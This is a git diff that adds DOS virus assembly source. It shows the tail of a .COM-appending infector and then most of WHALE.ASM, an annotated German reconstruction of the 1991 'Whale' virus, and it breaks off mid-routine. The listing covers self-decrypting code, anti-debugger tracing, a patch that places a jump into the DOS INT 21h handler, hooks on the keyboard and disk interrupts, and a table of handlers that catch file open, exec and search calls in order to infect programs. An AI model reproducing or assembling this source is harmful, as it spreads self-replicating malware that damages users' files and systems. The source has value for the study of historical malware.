vir_dat - v_start + 100H ;Code length + 100h, for PSP + +;***************************************************************************** +;Because this code is being appended to the end of an executable file, the +; exact address of its variables cannot be known. All are accessed as offsets +; from SI, which is represented as vir_dat in the below declarations. +;***************************************************************************** + +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code + + CODE ENDS +END VCODE + + diff --git a/w/WHALE.ASM b/w/WHALE.ASM new file mode 100755 index 0000000..8a41b71 --- /dev/null +++ b/w/WHALE.ASM @@ -0,0 +1,5198 @@ +;===================================================================== +;===================================================================== +; The WHALE ; +; ; +; Listing erstellt 1991 , R. Hrner , Karlsruhe , FRGDR ; +; ; +;===================================================================== +;===================================================================== +code SEGMENT + ASSUME CS:code,DS:code,ES:CODE + .RADIX 16 + ORG 100h +;--------------------------------------------------------------------- +;----------------( Struktur der Entscheidungs-Tabelle fr INT 21h )--- +;--------------------------------------------------------------------- +IF_THEN STRUC +WENN DB ? +DANN DW ? + ENDS +;==========================================( Der Decoder-Aufruf )=== +MDECODE MACRO Adr + CALL DECODE + DW @L&adr-L&Adr +L&Adr: + ENDM +;==========================================( der Coder-Aufruf )=== +MCODE MACRO Adr + CALL CODEIT + DB @L&Adr-L&Adr+1 +@L&Adr: + ENDM +;--------------------------------------------------------------------- +;--------------------------------------------------( fr Mutanten )--- +L04BB5 EQU OFFSET D4BB5 +J00000 EQU L04BB5 - Offset Entry +J11111 EQU L04BB5 - Offset @INT21 +ZweiByte EQU J00000 / 2 +DreiByte EQU J00000 / 3 +M_Size EQU OFFSET J03AD0-OFFSET J03A84 +;--------------------------------------------------------------------- +;-------------------------------------------( "Mutierende" Makros )--- +;--------------------------------------------------------------------- +CALL_INT21 MACRO Adr,adr1 ; Selbst-Relozierend + + DB 0E8H + DW - (LL&ADR + J11111 + 1) +LL&ADR EQU $-OFFSET ADR1 + ENDM +;--------------------------------------------------------------------- +CALL_ENTRY MACRO Adr,adr1 ; Selbst-Relozierend + DB 0E8H + DW - (CE&ADR + J00000 ) +CE&ADR EQU $-OFFSET ADR1 + ENDM +;--------------------------------------------------------------------- +JMP_ENTRY MACRO Adr,adr1 ; Selbst-Relozierend + DB 0E9H + DW - (JM&ADR + J00000 ) +JM&ADR EQU $-OFFSET ADR1 + ENDM +;===================================================================== +;===============================================( zur relozierung )=== +;===================================================================== +FirstByte EQU OFFSET @FirstByte-OFFSET VirStart ; 20h +CODE_LEN EQU OFFSET LASTCODE-OFFSET @FirstByte ; 2385H +CODE_START EQU OFFSET J04BCF - OFFSET @FirstByte ; 239FH +;===================================================================== +;============================================( vernderlicher Code)=== +;===================================================================== +SwapCode_1 EQU Offset Decode - Offset VirStart ; 0A33h +Swapcode_2 EQU OFFSET J03A20 - Offset VirStart ; 1210h +Swapcode_3 EQU OFFSET J0491A - Offset J03047 ; 18D3h +SwapCode_4 EQU OFFSET J03047 - Offset VirStart ; 0837H +SwapCode_5 EQU OFFSET J03259 - Offset VirStart ; 0A49h +SwapCode_6 EQU OFFSET J02CFF - Offset VirStart ; 04EFh +SwapCode_7 EQU Offset SwitchByte-Offset VirStart; +SwapCode_8 EQU Offset Int_02 - Offset VirStart ; 3181h +;===================================================================== +;========================================( einfacher zu schreiben )=== +;===================================================================== +XorByte__1 EQU OFFSET D_4A5E - Offset VirStart ; 224Eh +XorByte__2 EQU OFFSET D_4A79 - Offset VirStart ; 2269h +;===================================================================== +Part_____1 EQU OFFSET D4BAC - OFFSET VirStart ; 239Ch +Len_Part_1 EQU OFFSET Lastbyte - Offset D4BAC ; 0054h +;===================================================================== +SchwimmZiel EQU OFFSET J029C1 - Offset VirStart ; 01B1h +WischeWeg EQU OFFSET D4B7C - Offset VirStart ; 236Ch +;===================================================================== +SS_INIT EQU Offset EXE_SS_INIT-Offset VirStart +SP_INIT EQU Offset EXE_SP_INIT-Offset VirStart +CODE_INIT EQU Offset EXE_CODE_INIT-Offset VirStart +;===================================================================== +;=============================( Sprungtabelle fr Int 21h-Handler )=== +;===================================================================== +L0699 EQU Offset J02ea9 - Offset VirStart +L04f4 EQU Offset J02D04 - Offset VirStart +L06E0 EQU Offset J02EF0 - Offset VirStart +L06CA EQU Offset J02EDA - Offset VirStart +L08CF EQU Offset J030DF - Offset VirStart +L06C8 EQU Offset J02ED8 - Offset VirStart +L0996 EQU Offset J031A6 - Offset VirStart +L09E4 EQU Offset J031F4 - Offset VirStart +L1E5E EQU Offset J0466E - Offset VirStart +L1DA2 EQU Offset J045B2 - Offset VirStart +L0AD4 EQU Offset J0325D - Offset VirStart +L1F70 EQU Offset J04780 - Offset VirStart +L1D0F EQU Offset J0451F - Offset VirStart +;===================================================================== +;==============================( wenn ein Debugger erkannt wird...)=== +;===================================================================== +IfDebugWal EQU (Offset J04B6A-Offset CreateTempCode+1) / 2 +StartDebug EQU Offset CreateTempCode-Offset VirStart +;===================================================================== +;==========================================( Erklrung fehlt noch )=== +;===================================================================== +@0478 EQU 0478H +@FB88 EQU 10000h-@0478 +;===================================================================== +;=================================================( COM-Einsprung )=== +;===================================================================== +start: JMP ENTRY ; JMP Decode_Whale + DB 00h +Whale_ID DW 020CCh ; kennung, da File infiziert +;===================================================================== + DB 2300h-6 DUP (0) +;--------------------------------------------------------------------- +; +; DIESE DATEN WERDEN ZWAR **VOR** DEN CODE +; ASSEMBLIERT, ABER ***HINTER*** DEM CODE ABGELEGT !! +; +; DAS IST DER ***EINZIGE GRUND*** WARUM DIE VIELEN +; NULL-BYTES VOR DEM WAL STEHEN !!! +; +; DER CODE IST Code_len BYTE LANG. +; +; AB OFFSET Code_len DRFEN ALSO DATEN STEHEN. +; DESHALB GIBT ES AUCH KEINE DATEN, DIE ***VOR*** DIESEM +; OFFSET ABGELEGT WERDEN ! +;==================================================================== +;===========================================( Speichereinteilung )=== +;==================================================================== +; Assemblierungszeit : Zur Laufzeit (resident): +; +; +-CS:0100=DS:0100-+ +--CS:0000-DS:2810-+ <- Segment 9D90h +; | | | Code | +; | Leer | | | +; | | | | +; +-CS:2400=DS:2400-+ +--CS:2400-DS:4C10-+ (DS:4C43=CS:2433!) +; | Daten | | DATEN | +; +-CS:2700=DS:2700-+ +--CS:2700-DS:4F10-+ <--Speicherbedarf +; | Leer | | Grafikkarte | incl. Zugriff auf +; +-CS:2800=DS:2800-+ | | residenten +; | Save-Daten+Code | | | COMMAND.COM +; +-CS:2810=DS:2810-+ | | +; | | | | +; | Code | | | +; | | | | +; +-CS:4c00=DS:4C00-+ +------------------+ +; +;--------------------------------------------------------------------- +OFFSET_2400: +CodBuf DB 1Ch DUP (?) ; Wirts-File-Beginn / Puffer +;--------------------------------------------------------------------- +D241C DB ? +D241D DB ? +D241E DW ? +D2420 DW ? +D2422 DW ? +D2424 DD ? ; Adresse des exec-param-blocks +D2428 DB ? ; Drive des aktuellen Files +FileTime DW ? ; File-Uhrzeit +FileDate DW ? ; File-Datum +Trace_Adres DD ? ; Temp-DD fr Trace-Adresse +D2431 DW ? +D2433 DB ? ; "1" : Nach Verschluesselung INT 21h + ; ausfhren und wieder Entschluesseln. +D2434 DB ? +Low_INT_21H DD ? ; IBMDOS-Adresse INT 21h +@Int_13h DD ? ; Adresse INT 13h +D243D DD ? ; Adresse INT 24H +PSP_SEG DW ? ; PSP-SEGMENT +D2443 DW ? +D2445 DW ? +D2447 DW ? ; Erster MCB / Tracesegment +D2449 DW ? +;--------------------------------------------------------------------- +;--------------------------------------------( wird "JMP CS:2256" )--- +;--------------------------------------------( also "JMP VirInt21")--- +D244B DB ? +D244C DW ? +D244E DW ? +;--------------------------------------------------------------------- +D2450 DW ? ; Trace-Kontrollwort +D2452 DW 14h DUP (?) +D247A DW 14h DUP (?) +D24A2 DB ? ; +@PSP DW ? ; Aktuelles PSP-Segment +FilePos DD ? ; File-Pos +FileSize DD ? ; File-Size +D24AD DW ? ; Offset des Caller-Lese-Puffers +D24AF DW ? ; Anzahl der zu lesenden Byte +D24B1 DW ? +D24B3 DW ? ; CALLERS - Flags ! +D24B5: +@FCB DB 25h DUP (?) ; FCB +Error DB ? ; ERROR aufgetreten ; 24DA +D24DB DW ? +D24DD DW ? ; PLatz fr SS +D24DF DW ? ; Platz fr SP +D24E1 DW ? +D24E3 DW ? ; Platz fr AX +D24E4 DW ? +;--------------------------------------------------------------------- +D24E6 DW ? ; Caller-IP ? +D24E8 DW ? ; Caller-CS ? +D24EA DW ? ; Returnadresse zwischen Push/Pop +D24EC DW ? ; +D24EE DB ? +D24EF DB ? +;--------------------------------------------------------------------- +D24F0 DB ? +EPB DB ? ; Start EPB +D24F2 DW ? ; File-Attribut +D24F4 DW ? ; Offset Filename / ASCIIZ +D24F6 DW ? ; Segment Filename / ASCIIZ +D24F8 DW ? ; +D24FA DW ? ; +D24FC DW ? +D24FE DB ? +;--------------------------------------------------------------------- +D24FF DW ? ; SP-init +D2501 DW ? ; SS-init +D2503 DW ? ; IP-init +D2505 DW ? ; CS-init +;--------------------------------------------------------------------- +Cmd_Line DB 50H dup (?) ; command-line +;--------------------------------------------------------------------- +D2557 DW ? ; Orig.SP +D2559 DW ? ; Orig.SS +Vir_SP DW ? ; Vir. SP +D245D DW ? +D245F DB ? +D2560 DW ? ; Platz fr AX +D2562 DW ? ; Platz fr BX +D2564 DW ? ; Platz fr CX +;-------------------------------( als virtuelle Code-Area genutzt )--- +@INT21 DD ? ; ADRESSE Original INT 21H +D256A DW ? +D256C DW ? +D256E DW ? +;-------------------------------------------( wird "JMP CS:2273" )--- +;-------------------------------------------( also "JMP VirInt09" )--- +D2570 DB ? +D2571 DW ? +D2573 DW ? +;--------------------------------------------------------------------- +D2575 DW ? ; SAVE SI +D2577 DW ? ; SAVE DI +D2579 DW ? ; SAVE AX +D257B DW ? ; SAVE DS +D257D DW ? ; SAVE ES +D257F DW ? ; SAVE CX +;--------------------------------------------------------------------- +D2581 DW ? ; SAVE BX +INT_09 DD ? ; Original INT 09 +D2587 DB ? ; wird bei J02975 geschrieben +D2588 DW ? +D258A DW ? +InfectFlag DB ? ; "1" nach der ersten Infektion +D258D DB ? +D258E DW ? ; Platz fr Flags +;--------------------------------------------------------------------- +D2590 DW ? ; SAVE DX +@INT02 DD ? ; Originaler INT 02 +TrashFlag DB ? ; "1" : Statt einer Infektion, + ; wird Trash weggeschrieben +D2597 DB ? +D2598 DW ? ; hier kommt z.B. "HLT" hin... +D259A DW ? ; +;--------------------------------------------------------------------- +D259C DD ? +D25A0 DB 160h DUP (0) + +D2700: ; VIRUS-STACK -^^^ +;--------------------------------------------------------------------- + DB 100 DUP (0) +J02801: DB 0 +J02802: DB 0 +J02803: DB 0 +J02804: DB 0 +J02805: DB 0 +J02806: DB 0 +J02807: DB 0 +;--------------------------------------------------------------------- +J02808: MOV AH,4Ch ; main() :-))) + MOV AL,[ErrorCode] + INT 21 +ErrorCode DB 00h +;--------------------------------------------------------------------- +; Hier beginnt WHALE +;--------------------------------------------------------------------- +VIRSTART: DB 00h ;02810 +J02811: JMP Decode_Whale +;===================================================================== +;======( Puffer fr die ersten 1Ch Byte des infizierten Programmes)=== +;===================================================================== +EXE_ID: DW 04CB4H ; 'MZ' / MOV AH,4C +EXE_LastBytes: DW 021CDH ; Lastbytes / INT 21 +EXE_Pages: DW 0 ; Pages +EXE_Rel_Count DW 0 ; Reloc-Count +EXE_Paras: DW 0 ; Headerpara +EXE_MinFree: DW 0 ; minfree +EXE_MaxFree: DW 0 ; maxfree +EXE_SS_INIT: DW 0 ; ss-init +EXE_SP_INIT: DW 0 ; sp-init +EXE_ByteSum: DW 0 ; bytesum +EXE_CODE_INIT: DD 0 ; ip-init, cs-init +EXE_Reloc_Ofs: Dw 0 ; reloc-offset +EXE_Ovl_Num: DW 0 ; ovl-num +;--------------------------------------------------------------------- +@FIRSTBYTE: ;<----------------( erstes Byte im oberen Segment )--- +EXE_FLAG DB 0 ; "1" : EXE-FILE +;===================================================================== +;==================================( erster CALL nach Dekodierung )=== +;==================================( 'echter' Einsprung )=== +;===================================================================== +Offset_2831: +ENTRY: CALL J0288E +;--------------------------------------------------------------------- +Vir_NAME: DB "THE WHALE" +;--------------------------------------------------------------------- + DB 0ffh + db 036h + db 0c7h +;----------------------------------------------------------(trash?)--- + PUSH ES +J02842: PUSH BX + INC WORD Ptr DS:[0458h] ; evtl Cursor-Loc auf + JNZ J0284C ; page 5 (??!??) + JMP J02A4F ; -> Nirwana +;====================================================()=============== +J0284C: MOV AX,CS:[BX] + ADD BX,+02h + +J02852: JZ J0287E ; = RET nach altem BX + ADD CS:[BX],AX + LOOP J0284C + POP BX + DB 9fh,06h +;===================================================================== +;==================( folgender Code wird an Adresse 2566h erzeugt )=== +;===================================================================== +;@INT21: DW 2568h ; fr "call word ptr [@int21]" +;D2568: PUSHF +; CALL FAR CS:[Low_INT_21H] ; CALL OLD INT 21 +; RET +;--------------------------------------------------------------------- +CreateTempCode: MOV Word Ptr DS:[@INT21 ],Offset @INT21+2 + POP BX + MOV WORD Ptr DS:[@INT21+2],2E9Ch + ADD BX,+02h ; SIC ! + MOV WORD Ptr DS:[D256A],1EFFh + MOV WORD Ptr DS:[D256C],OFFSET Low_INT_21H + PUSH BX + MOV WORD Ptr DS:[D256E],00C3h +J0287E EQU $-1 ; zeigt auf "RET" + MOV WORD Ptr DS:[Vir_SP],2700h +EIN_RETURN: RETN ; RETURN 2 Byte weiter +;===================================================================== +;---------------------------------------------------------( Trash )--- +J02887: PUSH CX + MOV CX,CS:[BX] + DB 2eh,8bh,1Eh +;===================================================================== +;====================================( Teil-Initialisierung von SI)=== +;====================================( IRET fhrt nach J02983 )=== +;====================================( Wird als erstes ausgefhrt )=== +;===================================================================== +J0288E: POP BX + ADD BX,OFFSET J02983-Offset Vir_NAME + PUSHF + PUSH CS + PUSH BX + MOV SI,BX ; BX = SI = 2983h + IRET +;---------------------------------------------------------( Trash )--- + DB 0E9h,031h,002h,0ffh,0b4h,029h + DB 001h,059h,02eh,0ffh,007h,02eh + DB 023h,037h,05fh,0f3h,0a4h,0EBh +;==================================================================== +J028AB: PUSH DS ; altes DS auf Stack + PUSH CS + POP DS + CALL CreateTempCode ; Return ist 1 word weiter ! + ;-------------- + DW 58EAh + ;-------------- +;===================================================================== +;==================================================( Code-Patcher )=== +;===================================================================== +; BX zeigt auf J03047 +; aus "CMP BX,SI" +; wird +; J03074: XOR CS:[SI],BX +; NOP +; RET +;--------------------------------------------------------------------- +; +J028B3: MOV BX,OFFSET J03047-Offset VirStart + XOR WORD Ptr DS:[BX],0EF15h + ADD BX,+02h + XOR WORD Ptr DS:[BX],4568h + MOV SI,OFFSET J0491A-OFFSET VirStart + POP DS ; Altes DS zurck + CALL PATCH ; Gleich ausfhren ! +;===================================================================== +;======================================( WAL ist jetzt erst scharf)=== +;===================================================================== +AFTER_PATCH: MDECODE 1 + + CALL StopINT_02 + + MOV CS:[D24E3],AX + MOV AH,52h ; sic ! + MOV CS:[PSP_SEG],DS + INT 21 + MOV AX,ES:[BX-02h] ; Hole ersten MCB ! + MOV CS:[D2447],AX + PUSH CS + POP DS + + MOV AL,21h + CALL GetInt_AL + + MOV WORD PTR DS:[Trace_Adres+2],ES ; Get INT 21h + MOV WORD PTR DS:[Trace_Adres ],BX + + MOV DX,Offset Int_01_entry-Offset VirStart + MOV AL,01h + MOV BYTE Ptr DS:[D2450],00h ; keinen bergehen + CALL SetInt_AL ; SET INT 01 + MCODE 1 +;===================================================================== +;===================================================(TRACE INT 21h)=== +;===================================================================== + MDECODE 2 + ;----------------------------- + PUSHF + POP AX + OR AX,0100h ; Tf ein + PUSH AX + POPF + ;----------------------------- + PUSHF + MOV AH,61h + CALL DWORD PTR DS:[Trace_Adres]; TRACE INT 21 + ;----------------------------- + PUSHF + POP AX + AND AX,0FEFFh ; TF aus + PUSH AX + POPF + ;----------------------------- + LES DI,DWORD PTR DS:[Trace_Adres] ; Old int 21h + ;----------------------------- + ; Erzeugt JMP CS:2256/J04A66 + ;----------------------------- + MOV WORD PTR DS:[Low_INT_21H+2],ES + MOV BYTE Ptr DS:[D244B ],0EAh + MOV WORD Ptr DS:[D244C ],2256h + MOV WORD PTR DS:[Low_INT_21H ],DI + MOV WORD PTR DS:[D244E ],CS + ;----------------------------- + CALL J0298D + CALL Patch_IBMDOS + MCODE 2 + CALL Wal_Ins_MEMTOP_Kopieren +;===================================================================== + ; Wal entschwindet zur Speicherobergrenze, husch ..... +;##################################################################### +; +;##################################################################### +;===================================================================== +;====================================( PATCHT INT 09-Verarbeitung )=== +;===================================================================== +INT_09_Patch: MDECODE 3 + PUSH BX + PUSH ES + + MOV AL,09h ; GET INT 09 + CALL GetInt_AL + + MOV WORD PTR CS:[INT_09+2],ES + MOV WORD PTR CS:[INT_09 ],BX + + MOV BYTE PTR CS:[D2570],0EAh ; PATCHE "JMP CS:2273" + MOV WORD PTR CS:[D2573],CS ; INS SCRATCHPAD + MOV WORD PTR CS:[D2571],Offset J04A83-Offset VirStart + ; = JMP CS:4A83 + + CALL Patch_INT_09 + POP ES + POP BX +J02975: MOV BYTE PTR CS:[D2587],00h + + MCODE 3 + RETN +;------------------------------ + DW 027E9H + DW 0EA1Ah +;===================================================================== +;============================================( Get Virstart in SI )=== +;===================================================================== +J02983: SUB SI,OFFSET J02983 - Offset VirStart + JMP J02F15 ; SI ist jetzt 2810h +;===================================================================== + DB 089h,0F3h,0E8H +;===================================================================== +;=========================================( Get INT 2F and INT 13 )=== +;===================================================================== +J0298D: MDECODE 4 + + MOV AL,2Fh ; GET INT 2F + CALL GetInt_AL + + MOV BX,ES + CMP CS:[D2447],BX + JNB J029BC + + CALL Trace_int_13h + + MOV DS,WORD PTR CS:[Trace_Adres+2] + PUSH WORD PTR CS:[Trace_Adres ] + POP DX ; DS:DX + + MOV AL,13h + CALL SetInt_AL ; SET INT 13 + + XOR BX,BX + MOV DS,BX ; DS = 0 + MOV BYTE Ptr DS:[0475h],02h ; Number of Hard-Drives + +J029BC: MCODE 4 + RETN +;===================================================================== +;==========================( Erste Routine, die im Oberen Speicher)=== +;==========================( ausgefhrt wird. )=== +;==========================( AB JETZT ist Offset 2810h = OFFSET 0 )=== +;===================================================================== +J029C1: MDECODE 5 + CALL Patch_IBMDOS ; Original wiederherstellen + MOV CS:[D244E],CS ; JMP CS:2256 korrigieren.. + ; ist jetzt bei 4A66 ... + CALL Patch_IBMDOS ; und wieder Patchen + + PUSH CS + POP DS + PUSH DS + POP ES ; ES=DS=CS + CALL INT_09_Patch ; Patche INT 09 + + MOV BYTE Ptr DS:[InfectFlag],00h + CALL Re_SET_Int_02 + + MOV AX,[PSP_SEG] + MOV ES,AX + LDS DX,ES:[000Ah] ; INT 22h in DS:DX + MOV DS,AX + ADD AX,0010h + ADD CS:[OFFSET EXE_Reloc_Ofs-Offset VirStart],AX + + CMP BYTE PTR CS:[OFFSET EXE_FLAG-OFFSET VIRSTART],00h + ; IST ES EIN EXE ?? + STI + MCODE 5 + JNZ J02A2E +;===================================================================== +;================================( restore Code-Start im alten CS )=== +;===================================================================== + MDECODE 6 + MOV AX,CS:[Offset EXE_ID-Offset VirStart ] + MOV WORD PTR DS:[0100h],AX + MOV AX,CS:[Offset EXE_ID-Offset VirStart+2] + MOV WORD PTR DS:[0102h],AX + MOV AX,CS:[Offset EXE_ID-Offset VirStart+4] + MOV WORD PTR DS:[0104h],AX + + PUSH CS:[PSP_SEG] ; PUSH Start-Segment + XOR AX,AX + INC AH + PUSH AX ; AX = 100h + MOV AX,CS:[D24E3] + MCODE 6 + RETF ; == JMP PSP_SEG:100H == COM-START +;===================================================================== +;=============================================( JMP zum EXE-Start )=== +;===================================================================== +J02A2E: MDECODE 7 + ADD CS:[SS_INIT],AX + MOV AX,CS:[D24E3] + MOV SP,CS:[SP_INIT] +J02A41: MOV SS,CS:[SS_INIT] + MCODE 7 + JMP DWORD PTR CS:[CODE_INIT] +;=========================================================(trash !)=== +J02A4F: PUSH AX + MOV AX,0000h + MOV DS,AX + POP AX + MOV BX,Word ptr CS:[06C7h] ; CS:2ED7 = E3CB + MOV Word Ptr DS:[000CH],BX ; INT 3 setzen ! + MOV Word Ptr DS:[000EH],CS + DB 0E8h ; CALL 5DBA ?!? +;===================================================================== +;==============================================( TRACE-ROUTINE )====== +;===================================================================== +J02A63: PUSH BP + XOR BX,BX + MOV BP,SP + MOV DS,BX + AND WORD Ptr [BP+06h ],0FEFFh ; ? Change Flags ? + MOV Word Ptr DS:[0004h],AX + MOV Word Ptr DS:[000Eh],CS ; SET INT 3 SEGMENT + MOV Word Ptr DS:[000Ch],SI ; SET INT 3 OFFSET + CALL J02CD8 ; Kein Return, sondern + ; sowas wie 'IRET' +;===================================================================== +J02A7D: +;======================================================( Trash ???)=== + DB 0E9h,0f2h,0eh + DB 0BEh ;02A80 + DB 0BBh ;02A81 + DB 0ABh ;02A82 + DB 0EBh ;02A83 + DB 0EFh ;02A84 + DB 0AFh ;02A85 + DB 0BBh ;02A86 + DB 0EFh ;02A87 + DB 2 DUP (0ABh) ;02A88 + DB 2 DUP (0BFh) ;02A8A + DB 0EFh ;02A8C + DB 0ABh ;02A8D + DB 0EBh ;02A8E + DB 2 DUP (0ABh) ;02A8F + DB 0BFh ;02A91 + DB 0EBh ;02A92 + DB 0EFh ;02A93 + DB 0EBh ;02A94 + DB 2 DUP (0ABh) ;02A95 + DB 0FBh ;02A97 + DB 0ABh ;02A98 + DB 0EBh ;02A99 + DB 0BFh ;02A9A + DB 0BBh ;02A9B + DB 0BFh ;02A9C + DB 0ABh ;02A9D + DB 0EBh,2Eh,80h,0fh + DB 0abh,0e2h,0f9h +;===================================================================== +;---( Hier wird der Code neu reloziert, so da Virstart zum )--- +;---( Offset 0 wird. Dazu wird das neue Codesegment errechnet und )--- +;---( spter ber RETF angesprungen. Die Routine muss ausgefhrt )--- +;---( werden, bevor der Code scharf gemacht wird. Der Patcher )--- +;---( geht vom neuen Codesegment aus. )--- +;===================================================================== +Relokator: CALL DecodeFollowingCode +J02AA8: xor sp,sp ; Stack verwerfen ! + call L2AAD +L2AAD: mov bp,ax ; AX = 0 + mov ax,cs + mov bx,0010H + mul bx ; AX = CS * 16 + pop cx ; CX = Offset L2AAD + sub cx,OFFSET L2AAD-OFFSET VIRSTART + ; CX = Offset L2AAD - 29D + ; = Offset VirStart = 2810h + add ax,cx ; DX:AX := CS*10+2810 + adc dx,0000 ; + div bx ; DX:AX := CS+281 + push ax ; Ergebnis auf Stack, + ; (== Segment Returnadresse ) + mov ax,Offset J028AB-Offset VirStart + ; Offset Returnadresse ; (CS+281h):09Bh + + push ax + mov ax,bp ; AX = 0 + call VersteckeCodeWieder +J02ACC: retf ; RETURN nach CS:28AB, immer ! +;===========================================================(trash)=== +J02ACD: DB 0B4h,03 ; MOV AH,03h + DB 8bh,0D8h ; MOV BX,AX + DB 0E9H ; JMP J02BBC +;===================================================================== +;=============================================( Setzen von INT 01 )=== +;===================================================================== +J02AD2: CALL J02AD5 +J02AD5: POP BX ; BX = 2AD5 + SUB BX,OFFSET J02AD5-OFFSET J02A63 + ; BX = 2A63 + PUSH BX ; + POP WORD PTR DS:[0004h] ; INT 01 Offset = 2A63 + PUSH CS + POP WORD PTR DS:[0006h] ; INT 01 Segment= CS + PUSH CS +J02AE4: POP AX + OR AX,0F346h ; SET TF + PUSH AX + POPF + +J02AEA: XLAT ; MOV AL,[BX+AL] + MOV BH,AL ; MOV AL,[2AA9+x] + ADD BX,CX +J02AEF: JMP J047B1 +;=========================================================( trash )=== + MOV AX,[BX ] + MOV BX,[BX+SI] + XOR AX,AX + MOV DS,AX + JMP J02AE4 +;===================================================================== +;==========================( wird von INT 3 / INT 21h angesprungen)=== +;===================================================================== +J02AFB: MDECODE 8 + push bx + mov bx,sp + mov bx,ss:[bx+06] ; HOLE Flags vom Caller-Stack + mov cs:[D24B3],bx ; und merke sie + pop bx + + push bp ; BP bleibt auf Stack + mov bp,sp + call StopINT_02 + call SaveRegisters + call Patch_IBMDOS + call GetRegsFromVirStack + call PUSHALL + MCODE 8 +;===================================================================== +;=====================( sucht zu Wert in AL den passenden Handler )=== +;===================================================================== +GetHandler: MDECODE 9 + CALL PushALL + MOV WORD PTR CS:[D2598],OFFSET J02B8B-Offset VirStart + MOV BX,Offset J02B45-Offset VirStart + MOV CX,000Fh +J02B38: CMP CS:[BX],AH + JZ J02B72 + ADD BX,+03h + LOOP J02B38 + JMP J02B7B +;===================================================================== +J02B45: ;=================================( Tabelle )========= + if_then <00fh,L0699> ; 2EA9 ; open FCB + if_then <011h,L04F4> ; 2D04 ; Findfirst FCB + if_then <012h,L04F4> ; ; Findnext FCB + if_then <014h,L06E0> ; 2EF0 ; Read Seq. FCB + if_then <021h,L06CA> ; 2EDA ; Read Random FCB + if_then <023h,L08CF> ; 30DF ; Get Filesize FCB + if_then <027h,L06C8> ; 2ED8 ; Read Rndm Block FCB + if_then <03dh,L0996> ; 31A6 ; OPEN FILE / HANDLE + if_then <03eh,L09E4> ; 31F4 ; CLOSE File / Handle + if_then <03fh,L1E5E> ; 466E ; READ File / Handle + if_then <042h,L1DA2> ; 45B2 ; SEEK / Handle + if_then <04Bh,L0AD4> ; 325D ; EXEC + if_then <04Eh,L1F70> ; 4780 ; FindFirst ASCIIZ + if_then <04Fh,L1F70> ; 4780 ; FindNext ASCIIZ + if_then <057h,L1D0F> ; 451F ; Set/Get Filedate +;===================================================================== +J02B72: INC BX + PUSH CS:[BX ] + POP CS:[D2598] ; Adresse in D2598 +J02B7B: CALL PopALL +J02B7E: MCODE 9 + JMP CS:[D2598] ; Springe zu [2598] +;================================================================()=== +J02B87: PUSH SI ; ?!?!?! + JMP J0491B + +;===================================================================== +;==========================================( Low-INT-21h aufrufen )=== +;===================================================================== +J02B8B: JMP J048F3 +;=========================================================( trash )=== + DB 043h,041h,031h,00fh,039h,00fh,077h +;===================================================================== +;================================================( Beendet Int21h )=== +;===================================================================== +IRET_Int21h: MDECODE 10 + CALL SaveRegisters + CALL Patch_IBMDOS + CALL GetRegsFromVirStack +J02BA3: MOV BP,SP + PUSH CS:[D24B3] ; PUSH Flags nach IRET + POP [BP+06] ; POP Flags ---"---- + POP BP + CALL Re_SET_Int_02 + MCODE 10 + IRET +;===================================================================== +J02BB6: DB 0D7h,03Ch,0FFh,075h +;===================================================================== +;=============================================( Pop alle Register )=== +;===================================================================== +; ---------------- hilfsweise eingefgt : +; J02BB6: XLAT +; CMP AL,0FFh +; JZ J02BA3 +; XCHG AL,BYTE PTR DS:[0C912H] ; MUELL !!! +; JMP J02BBF +; ---------------- hilfsweise eingefgt : +; J02BBC: PUSH ES +; ADC CL,CL +; JMP J02BBF +; ---------------- Ende einfgung +;===================================================================== +;=============================================( Pop alle Register )=== +;===================================================================== +J02BBC EQU $+2 +PopALL: MDECODE 11 +J02BBF: POP CS:[D24EA] + POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF + MCODE 11 + JMP CS:[D24EA] +;===================================================================== + DB 0F6h +;===================================================================== +;==========================( Holt alle Register aus dem Vir-Stack )=== +;===================================================================== +GetRegsFromVirstack: + MDECODE 12 + MOV Word Ptr CS:[D2557],SP + MOV Word Ptr CS:[D2559],SS + PUSH CS + POP SS + MOV SP,Word Ptr CS:[Vir_SP] + + CALL CS:PopALL + + MOV SS,Word Ptr CS:[D2559] + MOV Word Ptr CS:[Vir_SP],SP + MOV SP,Word Ptr CS:[D2557] + MCODE 12 + RETN +;===================================================================== + DB 0BEh ;02C05 + DB 0AFh ;02C06 + DB "4" ;02C07 + DB 0Eh ;02C08 + DB "[SZR" ;02C09 + DB 8Fh ;02C0D + DB 06h ;02C0E +;===================================================================== +;========( 2c0f )=======================( Patcht INT 21 in IBMDOS )=== +;===================================================================== +Patch_IBMDOS: MDECODE 13 +;--------------------------------------------------------------------- + MOV SI,Offset D244B + LES DI,CS:[Low_INT_21H] + PUSH CS + POP DS + CLD + MOV CX,0005h ; Tauscht 5 Byte im DOS aus gegen + ; einen FAR-JMP zur Wal-Routine ! +J02C22: LODSB + XCHG AL,ES:[DI] + MOV [SI-01h],AL + INC DI + LOOP J02C22 + MCODE 13 + RETN +;=====================================================( trash ?!? )=== +J02C31: XOR AX,CX + INC BX + OR ES:[BX],AX + LOOP J02C31 + MOV BX,CX + DB 0E8h ;... trash ! +;===================================================================== +;============================================( pusht alle register)=== +;===================================================================== +PushALL: MDECODE 14 + POP CS:[D24EA] + PUSHF + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + MCODE 14 + JMP CS:[D24EA] +;===================================================================== +;========================================( setzt INT 01 auf Tracer)=== +;===================================================================== +SetInt_01: 